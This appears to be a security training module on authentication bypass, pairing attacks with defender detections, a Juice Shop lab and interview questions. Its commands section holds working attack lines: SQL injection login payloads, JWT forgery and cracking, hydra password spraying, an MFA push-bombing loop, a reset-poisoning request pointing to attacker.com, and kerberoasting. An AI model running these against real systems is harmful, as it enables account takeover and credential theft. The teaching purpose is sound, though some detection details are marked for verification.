Authentication Bypass
Authentication bypass is the class of attacks that let a party identify as someone else without that party’s credential. It spans from credential reuse (rockyou2024.txt) to algorithm-confusion JWT attacks (alg=none, RS256→HS256 confusion) to OAuth state fixation to MFA fatigue (the 2022 Cisco breach). OWASP A07:2021 covers it; it sits under Broken Access Control (A01) when the bypass is used to authorize actions. The mechanism varies — the boundary attacked is always the assertion that “this request comes from user X.”
The Core Concept
Section titled “The Core Concept”Authentication is a chain: identity claim → credential check → session token issuance → token validation on each request. Each link is breakable. A bypass can break the credential check (password spray), the session token issuance (token forgery), the token validation (algorithm confusion), or the channel around them (MFA bypass via flow manipulation).
Login flow: claim username → check password → issue session → validate session next time │ │ │ │ │ └── JWT alg confusion │ └── predictable session ID └── SQLi auth bypass (' OR '1'='1)
MFA flow: check password → check TOTP code → issue session │ └── MFA fatigue, race condition, response leak
OAuth flow: user → IdP → callback with code → exchange for token │ │ └── state not validated └── token replayEach arrow is a separate trust boundary. A bypass at any link breaks the chain.
How It Works
Section titled “How It Works”- Identify the authn mechanism — form login (cookie session), HTTP Basic (header), Bearer token (JWT), OAuth2 (authorization code flow), SAML (signed XML), certificate (mTLS).
- Identify the check — password compare, hash compare, JWT signature, SAML signature, cert validation, OTP compare.
- Find a weakness in the check — SQLi in the username field, hash compare with
==(PHP type juggling), JWTalg=noneaccepted, SAML signature wrapping, cert validation bypass viaCN=admin, OTP check with race condition. - Bypass — submit the payload, become the user.
- Maintain — refresh the session, get a persistent token, add a backdoor account if possible.
Common Techniques
Section titled “Common Techniques”| Technique | Description | Detection Difficulty |
|---|---|---|
| SQLi auth bypass | ' OR '1'='1' -- - in username returns the first user | Easy — covered by 942100 family |
| Default credentials | admin/admin, admin/password, tomcat/tomcat | Easy — block known default lists |
| Password spraying | One password per many users to avoid lockout | Medium — slow rate shape |
| Credential stuffing | Use leaked credential pairs from breach corpus | Medium — captcha + rate limit |
JWT alg=none | Forge a token with no signature, server accepts | Easy — verify JWT library rejects none |
| JWT RS256→HS256 confusion | Sign JWT with public key as HMAC secret | Medium — depends on verify config |
| JWT weak HMAC secret | Brute the HS256 secret with jwt_tool/hashcat | Easy if secret is short |
| Session prediction | Sequential session IDs — increment and hijack | Easy — use CSPRNG for session IDs |
| Session fixation | Force a session ID on victim, then become them | Easy — rotate session ID post-login |
| MFA fatigue (push bombing) | Repeated MFA prompts until user accepts | Medium — rate limit push per session |
| MFA race condition | Submit multiple OTP codes simultaneously, only one is correct | Medium — serialize OTP checks |
| OAuth state fixation | Send victim through OAuth flow with attacker’s state | Medium — state must be unique per session |
| SAML signature wrapping | Modify the assertion’s content while keeping the signature | Hard — depends on parser behavior |
| Password reset poisoning | Set Host: header on reset request → reset email to attacker | Easy — ignore client Host header |
Hands-On Commands
Section titled “Hands-On Commands”# SQLi auth bypasscurl -X POST http://target/login --data "username=admin' OR '1'='1' -- -&password=x"
# JWT alg=none — strip signature, set header to {"alg":"none"}echo -n '{"alg":"none","typ":"JWT"}' | base64 -w0 | tr '+/' '-_' | tr -d '='echo -n '{"sub":"admin","role":"admin"}' | base64 -w0 | tr '+/' '-_' | tr -d '='# Combine: <header>.<payload>. (empty signature)# Submit as Bearer
# JWT crack — jwt_tool brute forces HS256 secretspython3 jwt_tool.py <JWT> -C -d /usr/share/wordlists/rockyou.txt
# JWT RS256→HS256 confusion — use the public key as HMAC secretpython3 jwt_tool.py <JWT> -X k -pk public_key.pem
# hydra — password spraying on SSHhydra -L users.txt -p 'Spring2024!' -t 4 ssh://target
# Hydra HTTP formhydra -L users.txt -P rockyou.txt target http-post-form \ "/login:user=^USER^&pass=^PASS^:F=Invalid"
# Kerbrute — username enumeration via Kerberos pre-authkerbrute userenum --dc target.com -d target.com users.txt
# MFA fatigue — submit push repeatedly until acceptedfor i in $(seq 1 100); do curl -X POST http://target/mfa/push -H "Cookie: session=$SESSION" \ --data "action=send" sleep 1done
# nuclei — JWT, OAuth, SAML templatesnuclei -u http://target -t ~/nuclei-templates/http/cves/ -tags auth,jwt,oauth
# Default credential scannuclei -u http://target -t ~/nuclei-templates/http/technologies/ -tags login
# Burp Suite — sequencer on session tokens for predictability# Send a login request → right-click → Send to Sequencer# Token location: Set cookie header → Live capture# Analyze → entropy per character
# inspect-jwt toolpython3 -m jwt_tool <JWT># Output shows header, payload, signature, and alg recommendations
# SAML extraction and analysispython3 -c "import base64import sysb64 = sys.argv[1]print(base64.b64decode(b64).decode())" 'PHNhbWxwOlJlc3BvbnNl...'
# Password reset poisoningcurl -X POST http://target/reset \ -H "Host: attacker.com" \ -H "X-Forwarded-Host: attacker.com" \ --data "email=victim@target.com"# Victim gets reset link with attacker.com host → reset token leaks via Referer
# kerberoasting — extract service tickets and crack offlineGetUserSPNs.py target.local/user:'pass' -dc-ip dc.target.local -requesthashcat -m 13100 hashes.txt rockyou.txtDetection — Defender View
Section titled “Detection — Defender View”ModSecurity OWASP CRS — Authentication Bypass is not a single rule family but a pattern of failures. Notable:
- 942100 series (SQLi) catches SQLi auth bypass
- 932100 series (RCE) catches SQLi auth bypass
- 920220 (content type policy) catches
application/jsonauth bypass attempts - No dedicated “default credential” rule — SecLists/
nucleicovers it
Suricata SID 2221019 — Authentication brute force pattern (rate-based) [verify].
Sysmon Event ID 4625 (Windows Security Event Log) — failed logon; combined with Event ID 4624 (success) on the same account from same source IP within 5 minutes is a credential stuffing signature.
MITRE ATT&CK T1110 — Brute Force (sub-techniques .001 password guessing, .002 password cracking, .003 password spraying, .004 credential stuffing).
MITRE ATT&CK T1550.003 — Pass the Ticket (Kerberos ticket reuse). MITRE ATT&CK T1550.001 — Application Access Token (OAuth/JWT abuse).
MITRE ATT&CK T1621 — Multi-Factor Authentication Request Generation (MFA fatigue — the 2022 Cisco breach technique).
Wazuh rule 920/550 — Multiple failed logons followed by success [verify].
Wazuh rule 11 (authd) — authentication events from /var/log/auth.log and Windows Security log.
Evasion Techniques
Section titled “Evasion Techniques”Password spraying. One password per user per period — beat the lockout window. 1 password × 1000 users = 1000 attempts × 1 each, no lockout triggered. Defense: lockout per-IP across all users, not per-account.
Slow credential stuffing. Rate below the WAF threshold. Use a residential proxy pool (Bright Data, Smartproxy) so each attempt comes from a different IP. Defense: device fingerprinting (F5/Cryptopoint), not just IP rate.
JWT alg=none confusion. Some JWT libraries accept alg=none even when configured for HS256 if the validation code does not check the algorithm explicitly. Defense: verify(token, key, algorithms=['HS256']) — pass the algorithm list explicitly. Never accept none in production.
JWT RS256→HS256 confusion. If the JWT library accepts the algorithm from the token header, an attacker sends alg=HS256 and signs with the public key as HMAC secret. The verifier, seeing HS256, looks up the HMAC secret — and uses the public key. Defense: separate key stores for HMAC and asymmetric, or pin the algorithm.
SAML comment injection. SAML parsers’ signature validation operates on the signed subtree, but the assertion extraction may walk a different subtree. CVE-2017-1000433 in OneLogin python toolkit: signature checked the first <Assertion>, but extraction read the second <Assertion> placed inside a comment. The attacker submits a SAML response with two assertions, the first legit-signed, the second with their own payload.
OAuth state reuse. OAuth flows use a state parameter to prevent CSRF. If the state is not bound to the user’s session, an attacker can fixate the state — start a flow on the attacker’s browser, send the callback URL to the victim, the victim’s browser completes the flow under the attacker’s session.
| Evasion | Bypasses | Defense |
|---|---|---|
| Password spraying | Per-account lockout | Per-IP rate limit, per-account lockout, alerting on total attempts |
| Proxy rotation | IP rate limit | Device fingerprinting, TLS JA3/JA4 fingerprint |
JWT alg=none | Signature-required check | Always pass algorithms= array, reject none |
| JWT RS256→HS256 confusion | Algorithm pinning | Separate HMAC and RSA key stores; use library with strict mode |
| SAML signature wrapping | Signature-then-extract ordering | Sign whole response AND assertion; validate canonicalization |
| OAuth state fixation | State-just-present check | Bind state to user session; verify on callback |
| MFA fatigue | Per-request rate limit | Per-user rate limit, push challenge with biometric, geofence |
| Password reset poisoning | Trust client Host: | Use server-configured base URL, ignore client headers |
⚠️ What caught me: A SaaS used JWT with
RS256and stored the public key in JWKS at/jwks.json. The verify call wasjwt.verify(token, jwks, {algorithms: ['RS256']})— looked correct. The bug: the library wasnode-jsonwebtokenv8.x, which acceptednonealgorithm if it appeared in the header — even whenalgorithmsexcluded it. Thealgorithmsarray was only enforced when the algorithm in the token header was a signature algorithm;nonewas treated as a special case and never matched against the list. The library fixed this in v9. Lesson: never trust thealgorithmsparameter alone — update the library to a version wherenoneis rejected by default, and add an explicitalgorithms.includes(header.alg)check.
Lab Practice
Section titled “Lab Practice”Container: OWASP Juice Shop has auth-bypass challenges (/score-board filter Login).
docker run --rm -p 3000:3000 bkimminich/juice-shop# Solve:# - Login Admin (SQLi auth bypass)# - Login Bjoern (no SQL, find his password via Google)# - Login CSRF (login as attacker)# - Broken Authentication (JWT none-algorithm bypass)# - TwoFA bypassObjective: solve at least 3 auth-bypass challenges, including at least one JWT bypass.
Expected flag format: flag{auth_bypass_jwt_none_or_alg_confusion}.
Detection that should fire: ModSecurity 942100 family on the SQLi login; on JWT bypass, the application log should show a JWT signature failure followed by a success (the tell that the library fell back). For MFA fatigue, the auth log should show many push requests in 60s.
Interview Questions
Section titled “Interview Questions”Conceptual: explain the difference between authentication and authorization, and why an authentication bypass is generally considered more severe than an authorization bypass.
Technical: walk through the JWT RS256→HS256 algorithm confusion attack step by step. What two library behaviors must be true for the bypass to work?
Scenario: a target has username/password + TOTP MFA, with TOTP = standard 30-second RFC 6238. Describe two distinct MFA bypass techniques, one technical and one social, and the corresponding defense for each.
Why is password spraying more effective than password brute force against modern AD environments, and what specific Active Directory behavior makes per-account lockout trivially bypassable?
Compare OAuth state CSRF (Login CSRF) and SAML signature wrapping. Both are signature-adjacent attacks — what is the common structural weakness, and why does signing alone not prevent them?
Related Modules
Section titled “Related Modules”→ W1 (OWASP Top 10 Overview) · W12 (Session Management) · W14 (JWT Security)